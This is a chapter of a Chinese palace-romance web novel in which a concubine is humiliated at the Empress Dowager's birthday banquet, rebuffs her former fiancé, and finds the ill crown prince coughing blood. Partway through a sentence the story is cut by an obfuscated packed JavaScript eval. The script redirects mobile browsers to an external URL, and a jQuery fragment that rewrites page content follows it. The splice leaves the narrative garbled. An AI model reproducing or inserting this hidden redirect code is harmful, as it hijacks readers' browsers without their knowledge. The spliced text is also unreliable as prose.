蓬莱殿内,金砖墁地,盏盏莲花宫灯将殿中映得恍如白昼,殿角的乐师席上,雅乐袅袅飘来。
是《南山寿》的调子,庄重而喜庆,符合宫宴。
婵鸢面前的案上摆着八碟冷盘、八盏热羹,还有一壶温得正好的桂花酿,大家都没动筷,她想吃而不能,眼馋得很。
方才在偏殿,太后按例召见了几位一品命妇,没来召她,看来,太后今日不打算搭理她。
太后素来推崇尊卑有序,侍妾无品无级,是以色侍人的玩物,登不上台面,自然是要多少有多少,能生下小世子的,才有机会抬成良娣。
如今,太子却只有她一个侍妾,在太后看来,大抵是太子耽于美色、不分轻重的表现,有损储君清誉,朝臣与勋贵们兴许会将此事视为太子德行有亏,在奏章、清议中批评储君内帷不修,专宠祸水。
显然,太后已经有所吩咐,命妇们集体孤立她,她被视作无物,这席间无人与她交谈,无人与她同席,若不是坐在沈玄苏身侧,她的座位便是最远处的风口。
婵鸢毫不怀疑,私下里若太子不在,太后可能会直接向她施压,以示尊卑。
一曲《鹿鸣》奏起时,殿中气氛渐渐松快起来,几位命妇上前敬酒,说了些吉祥话,趁着这功夫,婵鸢不停往嘴里塞东西,腮帮子鼓得像只水豚。
等婵鸢吃饱了,刚想端起面前的茶盏喝一口,润润喉,便听见御座上太后发话了。
“付婵鸢,你上前来。”
满殿的交谈声同时低了下去,大家的目光似有若无地落在这里。
婵鸢无奈,只得落放下茶盏,站起身,裙摆拂过金砖,走到御座前行礼,“妾身给太后请安,太后金安。”
这一套礼仪规矩行云流水,半分不乱,任是宫里最年老的礼仪姑姑都挑不出毛病,就连太后眼中也划过一丝惊异。
她低着头,能感觉到太后的目光从她的发髻扫到裙摆,又从裙摆扫回她的脸,把她从头到脚打量了一遍。
不像是在看人,倒像是在相驴。
“抬起头来。”
婵鸢顺应抬起脸,太后看着她,轻轻一笑:“倒是生了一副好皮相,难怪能让太子连皇家的面子都不顾了。哀家记得,付家还有个嫡出的长女凌瑶,德容言工皆是上选,哀家瞧着也甚为端庄,前些日子还听说,你选了凌瑶入府侍奉,怎么,到头来反倒是悔改了?”
沈玄苏回道:“劳皇祖母挂心,孙儿内廷之事,自有规制,亦有宫人打理,不敢以此等微末小事烦扰皇祖母圣心。”
太后的唇角微微抿了一下,抬了抬手,示意身后的宫女上前。
宫女手里托着一盏燕窝百合羹,走到婵鸢身侧,不知是紧张还是怎么,脚下踩了裙摆,身子猛地一歪,整碗滚烫的燕窝羹,连着白瓷碗哐当一声砸在金砖上,汤汁溅了一地,溅上了婵鸢的裙摆和鞋面。
婵鸢面无表情地盯着宫女,明知道是刁难,也并未因这突如其来的意外而起身。
与她何干?她也是有骨气的,在这些人面前,跪下去容易,站起来难,她可受不来这窝囊气。
那宫女却似乎吓呆了,瞬间脸色惨白,扑通一声朝着太后的方向跪倒,以头触地,声音发颤:“奴婢该死!奴婢一时手滑,惊扰太后、陛下、娘娘,求太后恕罪!”
太后身侧另一位年纪稍长的嬷嬷立刻沉声喝道:“在御前失仪,惊扰太后圣驾,还不请罪?”
这话是对那宫女说的,可目光却如冷箭般射向婵鸢。
宫女会意,立刻转向婵鸢,声音又急又快,带着哭腔:“是奴婢的过错!求淑女恕罪!淑女您快向太后娘娘请罪啊!”
婵鸢冷冰冰地看着他们演戏,心里暗叹了口气,也站起身,打算致歉。
她怎么斗得过太后?就算是前世也不能。
奈何沈玄苏却牵住了她的衣袖将她扯回,面向御座,言辞端方道:“皇祖母息怒。宫女失手,打翻茶盏,扫了皇祖母雅兴,确是该罚。”
他垂眼看着那跪地发抖的宫女,宫女偷看了他一眼,抖得更厉害。
他别开目光,淡淡道:“只是,今日乃皇祖母寿辰,普天同庆,不宜因小事见责,更不宜见血光。此婢失仪,冲撞御前,拖下去,交予慎刑司按宫规处置便是。”
说完,他才仿佛刚注意到婵鸢裙摆上的污渍,凤眸一睨,对她嘱托道:“衣衫污了,先下去更衣,莫要在殿前出丑。”
婵鸢自然听出他的解围,依言屈膝,向御座方向行了一礼:“臣女失仪,暂请告退更衣。”
太后深深地看了沈玄苏一眼,最终,只疲惫道:“去吧。”
婵鸢得以安然无恙退出蓬莱殿。
外头也已是月上中天,往常这时候,她该在园子里乘凉打扇,或者下棋,或者铺纸练字,抄写佛经。
她望向凤梧宫的方向,那里烛火通明,是帝国最尊贵的女人所在,却也是一座最见不得人的牢笼。
做皇后,卯时便要佩戴沉重的花钗首饰,至太后寝宫进行晨省,听取各尚宫局的女官汇报,做事累了,也只有中宫和御花园供她行走,更别提自由。
皇后的一言一行皆关乎国体,其中滋味,更是含情欲说宫中事,鹦鹉前头不敢言。
婵鸢随意在宫外行走,摇动手中的团扇,吹着晚风,很是庆幸自己此刻尚能在这月下,享有片刻属于自己的宁静。
她走到海棠园外的山石小径里,忽然被人从身后叫住。
“婵鸢,是你吗?”
她转过身,脑壳痛矣,正是她的另一个冤家。
陆观澜站在几步之外,廊下的宫灯将他的面容映得凛然孤高,诚然……也像是倾颓的玉山。
他今日携着陆氏众子弟进宫观礼,广袖长袍,发束玉冠,清隽而沉稳的模样,可一见了她,又眼眶微红,唇色发白,像是好几夜没有阖过眼。
婵鸢恍惚了一瞬,是啊,现在的陆观澜还没有变得凶恶毒辣,原来曾经的他,也是这般不谙世事的贵公子模样。
他望着她,目光里有千言万语,最后只道了声:“你近些日子受苦了。”
婵鸢不愿直视他的眼睛,只是垂下眼睫,微微摇头:“陆公子言重了,妾身无事。”
“不要这样说,你是我的妻,为何要与我生疏?”陆观澜下意识迈步走过来,婵鸢后退,后背却抵上了海棠树的树干,已经退无可退。
她心道,陆观澜此人心机深沉,最擅运筹帷幄,那一副君子皮相之下,藏着的是敢于弑君犯上,斩绝宫闱的胆魄与铁腕。她就曾亲眼见过他是如何使宫墙内外化为血海的,因而心底始终对他存着一份难以消弭的畏惧。
毕竟,她认死理,一个人不论如何伪装,灵魂的底色不会更改。
陆观澜似乎也看出来了她的疏远,便没有再靠近,只是站在离她一步之遥的地方,低下头看着她,伸手似乎想替她拂去肩上的一片落花,可是仅仅按住了她肩膀后方的树干。。
他嘶声说:“婵鸢,我不管你是谁的侍妾,也不管太子如何待你,在我心里,你始终是我陆观澜认定的女子,此一生不会变。”
婵鸢不知该如何对他说明心中恐惧与悲愤,转身欲走,又被拦住。
他的眉眼很轻,被夜风揉皱了温情,可眼睛里的庄重,却很是笃定:“陆氏不会倒,我会扛起陆氏的担子,你若在太子身边待不下去,无论何时,无论何地,你来找我,我带你走。我会去求太子,去求陛下……总会有办法的!你等着我,等陆家过了这一劫,我必定三书六礼,重备鸾轿,风风光光迎你过门,今生今世,绝不叫你受半分委屈!”
话语因醉意而颠簸,逻辑混乱,颠三倒四,婵鸢静静望着他,心中却激不起半分涟漪,只余疲惫。
陆家必将倾覆,可眼前这人,无论前世对她做过多少恶,此刻这份为人夫君的心,或许有几分是真。
那也不成。
前尘血债,岂是几分醉后真情能够勾销?
她微微侧首,让身后海棠繁茂的枝影斜斜掩住半边脸颊,声音在花影与月色中凉浸浸的:“陆公子,请回吧。你我之间,早已错过。前缘如水,东流不返。旧事如花,零落成泥,你又何必执迷?”
陆观澜眸光一敛,竟带着几分凄然的哀恳,颤声问:“你与我父母之命,媒妁之言,到头来,竟连一句郎君都不肯叫吗?”
“陆公子,请自重。”婵鸢后退一步,避开他,声音冷了下来。
陆观澜的手僵在半空,他死死盯着她,像是第一次真正看清她的冷漠与疏离。
他踉跄着后退两步,忽然低低笑了起来,笑声苍凉:“是因为他吗?因为他是太子,是储君,将来要御极天下,所以你便弃我如敝履?”
婵鸢念着前世那一场火,冷情道:“这与太子无关,是我付婵鸢,不愿嫁与陆氏为妻。这全是我九叔的主意,如今太子……太子确实蛮不讲理,夺了我去,还请公子不要怪罪九叔,不要耽搁了自己的宏图大志。”
真正的原因是,陆观澜前世杀了她。可这说辞,陆观澜不可能信。
陆观澜果然苦笑,他遥望琼楼殿宇:“婵鸢,这宫里头的风浪,比外头更凶险十分,你可知有多少双眼睛盯着东宫?你可知你如今站在这里,就是众矢之的!太子图一时新鲜,今日能夺你,宠你,爱你,来日便是她人!妃位空悬,定有新人入主东宫,婵鸢,你嫁我为正妻,有何不妥?为何一定要做太子的侍妾?我这一生不会再娶,与你共白头,是我想过唯一的归宿,我们醉情于红尘俗世,便生不出浩荡的情爱么?你竟是这般薄情寡义的女子么?”
薄情寡义?他居然这样说!
她若真的薄情寡义,便不该照顾陆观澜今生的无辜,便不该去管沈玄苏的一摊子破烂事!
可这些是一个字也不能和陆观澜讲清的。
婵鸢心口一窒,面上却不肯显露分毫,只淡淡道:“不劳陆公子费心。婵鸢前程如何,自有天命,公子还是顾好自身,想想如何应对眼前困局才是正经。”
陆观澜像是被戳到痛处,脸色霎时灰败。他怔怔地看着她,眼神复杂难辨,有爱有恨,有怨有怜,最终都化为一片绝望的灰烬。
他踉跄着又退了一步道:“是了……你如今是东宫的人,自然知晓如何往我心口捅刀子最痛,你明知道,我不会如太子一般逼迫你,你可知我这几日是怎么过的?你可曾派人来问过我一句?”
婵鸢沉默着,无言以对。
“婵鸢,你等着,我定会回来,娶你……”
陆观澜眸中偏执闪烁,不再看她,转身踉跄着融入夜色,背影萧索,带着一股穷途末路的悲凉,直到消失在宫道的尽头。
婵鸢在海棠树下站了很久,心中有种不安。又不知道这被更改了的人生,未来又在何方?
陆观澜不会这一世仍要欺辱她、杀了她吧?
她并非心疼陆观澜,只是物伤其类,兔死狐悲。
唉,这吃人的宫廷,这翻云覆雨的权力,今日是陆家,明日又会是谁?
不该这样想。她为西窗主,朝堂内外的纷争决战,从来都是听命于天家,对暗线情报组织来说,只做一把没感情的刀,刃向外,才能护住西窗众人。
她远离了这处是非之地,走上石桥,却看见宴席那边,如今与她命运暂时捆绑之人的身影不见了。
沈玄苏方才在席上脸色就不太好,现在不知怎样了?
问了殿外值守的内侍,才知太子殿下宴席中途便称不适,离席了片刻,此刻不知去了哪。
她绕到了花林中,秋千架下,海棠正盛,月色如霜,落英缤纷。
可她远远地,便见一树西府繁花之中,立着一个孤峭的身影,月光从花枝间漏下来,斑驳地落在他杏黄色的常服上。
他一只手扶着树干,另一只手用帕子掩着唇,肩膀压抑地颤抖着,似乎极为克制,不想被任何人发现。
他又在咳?
……不对。
帕子从他唇边移开时,婵鸢看见那上面洇开了一片深色的濡湿,在月下看不出颜色,但她知道那该是红的,因为他指缝间也有点点深色,在月光下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549855|204295||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
迅速濡湿了杏黄的衣袖,沿着他玉白的手腕蜿蜒而下,滴落在树下的泥土和落花上,脆弱得像一尊即将碎裂的琉璃美人觚。
婵鸢又轻手轻脚地走进了几步,发觉他唇上那层靠药丸子提起来的血色已经褪尽了,只余下一层薄薄的嫣红,分不清是残血还是被咬出来的。几瓣海棠被夜风吹落,飘在他发间,他也没有拂去。
他垂着眼,看着那方染血的帕子,神情淡淡的,缓缓将帕子翻了一面,把染血的那一面藏到内侧,突然道:“好不容易振翅高飞的小鹰,居然也贪恋着归巢么。”
分明是含情脉脉的轻柔嗓音,婵鸢却愣是听出了几分阴阳怪气。
婵鸢皱起了眉头。
他要死是不是?为何不去太医院?在这里逞强什么?
沈玄苏缓缓回过身,将染血的帕子拢进袖中,理了理衣襟,重新端起太子的威仪,看向她的眸光柔软极了:“还站在那不动,是等着孤去迎你吗?”
婵鸢气愤极了,不得不走近:“殿下,为何不去就医?”
沈玄苏奇道:“原来姑娘也很在乎孤的死活?孤的身子无妨,姑娘多虑了,走吧。”
这语气,明明就是在生气吧?婵鸢恨不得一个白眼翻给他,抢先一步挡住他的去路,“宫里人多眼杂,殿下这副样子,还是少些人看见为好。既然咳血是旧疾,臣便去传太医来,用些汤药灌下去,苦得人胃肠发昏,便头脑清醒了。”
沈玄苏眸光暗沉,不知心中在想什么,定留在原地,过了会,他道:“孤是太子,是储君,是未来的天子,孤的虚弱,病痛,都是不能被轻易窥见的秘密,也是可能动摇国本的隐忧。”
婵鸢才不信,“这宫内诸多眼线,殿下大可以去没人的地方,故意在这里咳,才是怕别人看不见吧?”
沈玄苏微微挑眉:“孤宁可独自在这里蹉跎,也不愿让太医院的记录上多添一笔,让那些虎视眈眈的兄弟、朝臣们,抓到更多攻讦孤的由头。孤若是败了,谁来护着你?你很希望孤失势吗?”
婵鸢不服输道:“臣会护好自己,殿下把身子照料好,便是给臣省心了,臣是觉得,殿下该回去歇着。”
婵鸢生硬地说,目光不由自主地瞟向他袖口里的红帕子,伸手去取。
沈玄苏却偏过身躲避开,望了望头顶被花枝切割得支离破碎的夜空,月光落进他眼底,一片冰冷的寂寥,“回去哪里?东宫?偌大的殿宇,比这里,又能暖和几分?”
婵鸢手落了个空,听他语气,十分语塞。
是了,前世,他病重时,明德殿里终年不散的药味,是炭火烘得再暖,也驱不散的孤寒。
沈玄苏不再看她,转而凝视着掌心刚刚接住的一瓣海棠,那花瓣娇嫩柔软,在他的指尖,仿佛一碰即碎。
“你方才,见到陆二了?”
他似乎终于忍不住,还是开口问了。
婵鸢心里早有准备,虽然不知他如何知晓,更不知他此刻提起是何用意,但却仍能随机应变,答道:“是,陆公子似乎饮多了酒,说了些醉话,臣已劝他回去了。”
“醉话……”
沈玄苏将这两个字在唇齿间玩味了一番,指头慢慢地将些花瓣碾碎,淡粉的汁液染上他苍白的指尖:
“他说要带你走,要风风光光娶你过门,可是真的?”
婵鸢不动声色道:“殿下既已知晓,又何必再问。”
“孤想听你说。”沈玄苏微微一笑,活像只从海棠林里爬出来的艳鬼,“听你亲口说,他那些话,你可曾有一刻心动?”
婵鸢迎视着他的目光,心中那点因他病弱而生的酸涩,瞬间被隐隐的怒火覆盖。
他凭什么这样问?以什么身份?她的主子?还是逼她做“侍妾”的太子殿下?
婵鸢冷冷道:“陆公子是醉是醒,说的话是真是假,与臣女再无干系。臣女如今是东宫的人,是殿下的鉴影使,西窗的主人,此心此身,皆系于殿下之命,岂会因他人几句醉语而动?殿下将我绑在身旁,如今却又来质问我是否心向别处?这般表效忠心的话,我以后都不会再说了!”
沈玄苏静静地看着她,见她转身要走,却伸手去拦,“你去何处?”
婵鸢一偏头却看见他袖子里的手帕,已经染红了衣裳,心中又是一阵狂抓。
他是故意惹她心软吗?有可能吗?
婵鸢心里对他那股说不清道不明的复杂情绪占了上风,终究还是弱了语气道:“殿下身子要紧,咱们别斗嘴了,还是——瞧病去!”
婵鸢倏忽去扯他袖子里的血手帕,他却像是早有防备,身子往旁边一躲,然而婵鸢紧接着变了路数,一步迈过去,扑向他。
他有意挡着她的胡来,却未用力气,手臂隐隐护在她身侧,避着枝条,头发却被婵鸢几下子揉乱了,发簪和玉冠歪斜,他却无暇顾及,撕拉一声,袖子被枝条扯了个大口子。
婵鸢顺势得以将帕子抽出,一看,触目心惊,全是血红。
“抱够了么?”沈玄苏凉凉的嗓音从头顶传来,婵鸢下意识低头,才发觉自己搂住了他的腰。
婵鸢:“……抱歉殿下,宫闱内拉拉扯扯确实有伤风化。”
手感不错,坚韧有劲。
沈玄苏也没有挣脱,婵鸢便知道,他终于是不生气了。
前世也是一样,他爱闹脾气,耍性子,作人,想哄好他,惯来是不太容易。
婵鸢怕他病重,实在拿他没办法,仰头问道:“殿下不生气了吧?”
沈玄苏垂眼道:“孤何时生气过?”
婵鸢的手还扶着他的腰呢,不肯撒手,作弄他的心冒出头来,厚着脸皮说:“殿下的脸色都白了。”
沈玄苏别过头道:“吐血吐的,并非是与你生气,你想多了。”
婵鸢看着这样,有点想笑:“那殿下还要吐吗?”
沈玄苏蹙眉道:“孤没那么多血可以吐。”
婵鸢作势惊讶:“既然不吐血,脸色为何一直不好?可见殿下还是生气了。”
“……”沈玄苏咬了咬嘴唇。